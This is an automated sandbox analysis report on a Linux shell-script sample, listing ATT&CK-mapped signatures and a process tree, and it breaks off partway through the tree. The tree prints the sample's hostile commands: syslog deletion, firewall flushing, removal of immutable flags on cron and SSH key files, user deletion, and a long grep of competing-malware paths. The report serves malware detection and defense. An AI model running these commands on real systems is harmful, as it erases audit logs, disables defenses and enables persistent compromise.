2a7acc97265ab5d3fb4e42ddfa7815d7e2ad06084c5444422aa41e8b8bde9137

Analysis

max time kernel
71s
max time network
14s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24/02/2025, 02:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2a7acc97265ab5d3fb4e42ddfa7815d7e2ad06084c5444422aa41e8b8bde9137.sh
Size

35KB
MD5

48605c08d5238354a004a4e0a41b1750
SHA1

743d6ab066c3816cfe4b3960786da2f86e27b0c0
SHA256

2a7acc97265ab5d3fb4e42ddfa7815d7e2ad06084c5444422aa41e8b8bde9137
SHA512

1e9ce1f5787e5878eeaeed8dd5d755f02034616fbe1f8a259ba8c4720a1b0f22db7ccf8fd84e406f6e9520c79e3e10ee393090944b0c3f814795866ca6f87022
SSDEEP

768:b87mzQ5VFNcDAFLcIwgnoYq0xFBvgmuNytkuz:bOVF+D6cIwgosPz

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/syslog	rm

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
671	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
677	sudo

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1922	xargs
2004	xargs
1472	xargs
1847	xargs
1877	xargs
1957	xargs
2081	xargs
701	chattr
1488	xargs
1667	sed
1679	sed
1688	sed
1842	xargs
1942	xargs
1448	xargs
1462	xargs
1794	xargs
1972	xargs
1697	sed
1835	xargs
1892	xargs
1598	xargs
1867	xargs
1962	xargs
1977	xargs
2053	xargs
2151	Process not Found
1442	xargs
1610	xargs
664	chattr
1568	xargs
1646	xargs
1682	sed
1789	xargs
1947	xargs
667	chattr
1628	xargs
1670	sed
1676	sed
1799	xargs
1982	xargs
2086	Process not Found
1666	xargs
2059	xargs
1452	grep
2033	xargs
2069	xargs
2074	xargs
1586	xargs
1592	xargs
2028	xargs
2048	xargs
1862	xargs
1937	xargs
2136	Process not Found
2156	Process not Found
1882	xargs
1887	xargs
1967	xargs
1653	xargs
2064	xargs
2106	Process not Found
1740	xargs
1857	xargs

Creates/modifies Cron job 1 TTPs 13 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.rYIy8R	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.HrDjwd	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.u96Dyi	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.VOQXmt	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.WTCgy0	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.DZiJbh	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ybj7So	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.dHOYBz	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.It2AWH	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.1ZvtnR	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.d5FvC5	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.8ubOCe	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ERwoEG	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	exim4
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill

Process Discovery 1 TTPs 64 IoCs

Adversaries may try to discover information about running processes.

discovery

Process Discovery

T1057

pid	Process
1838	ps
2070	ps
2092	Process not Found
1948	ps
1453	ps
1800	ps
1953	ps
2060	ps
2107	Process not Found
1468	ps
1843	ps
1868	ps
1903	ps
1943	ps
1968	ps
2054	ps
2152	Process not Found
1741	ps
1790	ps
1978	ps
2015	ps
2117	Process not Found
1958	ps
1438	ps
1848	ps
1938	ps
2087	Process not Found
2112	Process not Found
2005	ps
2010	ps
2075	ps
2142	Process not Found
2029	ps
2127	Process not Found
1451	ps
1736	ps
1785	ps
1805	ps
1908	ps
1933	ps
2034	ps
2147	Process not Found
1458	ps
1509	ps
1815	ps
1883	ps
1888	ps
1893	ps
1898	ps
1918	ps
1825	ps
1983	ps
2039	ps
2049	ps
2065	ps
2137	Process not Found
2157	Process not Found
1831	ps
1853	ps
1988	ps
2097	Process not Found
2102	Process not Found
2082	Process not Found
1973	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1747/cmdline	ps
File opened for reading	/proc/16/stat	ps
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/608/status	ps
File opened for reading	/proc/150/cmdline	ps
File opened for reading	/proc/150/cmdline	ps
File opened for reading	/proc/1512/status	ps
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/654/cmdline	pkill
File opened for reading	/proc/139/cmdline	ps
File opened for reading	/proc/1836/cmdline	ps
File opened for reading	/proc/312/cmdline	Process not Found
File opened for reading	/proc/113/cmdline	ps
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/173/status	pkill
File opened for reading	/proc/156/cmdline	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/608/stat	ps
File opened for reading	/proc/112/stat	ps
File opened for reading	/proc/656/status	ps
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/215/cmdline	ps
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/314/stat	ps
File opened for reading	/proc/150/status	ps
File opened for reading	/proc/609/status	ps
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/654/cmdline	ps
File opened for reading	/proc/314/stat	ps
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/102/cmdline	Process not Found
File opened for reading	/proc/80/status	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/12/stat	ps
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/42/stat	ps
File opened for reading	/proc/588/stat	ps
File opened for reading	/proc/14/stat	Process not Found
File opened for reading	/proc/159/cmdline	pkill
File opened for reading	/proc/276/status	pkill
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/276/status	pkill
File opened for reading	/proc/268/status	pkill
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/666/stat	ps
File opened for reading	/proc/156/stat	ps
File opened for reading	/proc/268/cmdline	Process not Found
File opened for reading	/proc/608/status	pkill
File opened for reading	/proc/276/cmdline	pkill
File opened for reading	/proc/21/stat	ps
File opened for reading	/proc/1947/stat	ps
File opened for reading	/proc/314/stat	ps
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/608/status	ps
File opened for reading	/proc/275/cmdline	ps
File opened for reading	/proc/12/status	Process not Found
File opened for reading	/proc/42/status	pkill
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/655/cmdline	pkill
File opened for reading	/proc/215/status	pkill

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1383	ls
1985	grep
2017	grep

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/log_rot	2a7acc97265ab5d3fb4e42ddfa7815d7e2ad06084c5444422aa41e8b8bde9137.sh

/tmp/2a7acc97265ab5d3fb4e42ddfa7815d7e2ad06084c5444422aa41e8b8bde9137.sh
/tmp/2a7acc97265ab5d3fb4e42ddfa7815d7e2ad06084c5444422aa41e8b8bde9137.sh
1⤵
- Writes file to tmp directory
PID:657
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  - Deletes system logs
  PID:658
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  PID:660
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  PID:661
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Attempts to change immutable files
  PID:664
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  - Attempts to change immutable files
  PID:667
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:671
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:677
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:688
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmN9k-0000B6-Vk
      4⤵
      Reads CPU attributes
      PID:705
- - /usr/sbin/sendmail
    sendmail -t
    3⤵
    PID:691
  - - /usr/sbin/exim4
      /usr/sbin/exim4 -Mc 1tmN9k-0000B9-Vi
      4⤵
      PID:704
- - /sbin/sysctl
    sysctl "kernel.nmi_watchdog=0"
    3⤵
    - Reads CPU attributes
    PID:693
- /usr/sbin/userdel
  userdel akay
  2⤵
  PID:695
- /usr/sbin/userdel
  userdel vfinder
  2⤵
  PID:697
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  PID:700
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  - Attempts to change immutable files
  PID:701
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:703
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:708
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:709
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:711
- /bin/grep
  grep exe
  2⤵
  PID:712
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:715
- /bin/grep
  grep exe
  2⤵
  PID:718
- /bin/ls
  ls -latrh /proc/10
  2⤵
  PID:717
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:720
- /bin/grep
  grep exe
  2⤵
  PID:725
- /bin/ls
  ls -latrh /proc/102
  2⤵
  PID:724
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:728
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:730
- /bin/grep
  grep exe
  2⤵
  PID:731
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:733
- /bin/grep
  grep exe
  2⤵
  PID:736
- /bin/ls
  ls -latrh /proc/110
  2⤵
  PID:735
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:738
- /bin/grep
  grep exe
  2⤵
  PID:741
- /bin/ls
  ls -latrh /proc/112
  2⤵
  PID:740
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:743
- /bin/grep
  grep exe
  2⤵
  PID:746
- /bin/ls
  ls -latrh /proc/113
  2⤵
  PID:745
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:748
- /bin/grep
  grep exe
  2⤵
  PID:751
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:750
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:753
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:755
- /bin/grep
  grep exe
  2⤵
  PID:756
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:758
- /bin/grep
  grep exe
  2⤵
  PID:762
- /bin/ls
  ls -latrh /proc/139
  2⤵
  PID:761
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:765
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:768
- /bin/grep
  grep exe
  2⤵
  PID:769
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:772
- /bin/grep
  grep exe
  2⤵
  PID:776
- /bin/ls
  ls -latrh /proc/144
  2⤵
  PID:775
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:779
- /bin/grep
  grep exe
  2⤵
  PID:783
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:782
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:787
- /bin/grep
  grep exe
  2⤵
  PID:790
- /bin/ls
  ls -latrh /proc/150
  2⤵
  PID:789
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:793
- /bin/grep
  grep exe
  2⤵
  PID:797
- /bin/ls
  ls -latrh /proc/155
  2⤵
  PID:796
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:800
- /bin/grep
  grep exe
  2⤵
  PID:804
- /bin/ls
  ls -latrh /proc/156
  2⤵
  PID:803
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:807
- /bin/ls
  ls -latrh /proc/159
  2⤵
  PID:810
- /bin/grep
  grep exe
  2⤵
  PID:811
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:814
- /bin/grep
  grep exe
  2⤵
  PID:818
- /bin/ls
  ls -latrh /proc/16
  2⤵
  PID:817
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:821
- /bin/grep
  grep exe
  2⤵
  PID:825
- /bin/ls
  ls -latrh /proc/17
  2⤵
  PID:824
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:827
- /bin/grep
  grep exe
  2⤵
  PID:832
- /bin/ls
  ls -latrh /proc/173
  2⤵
  PID:831
- /bin/grep
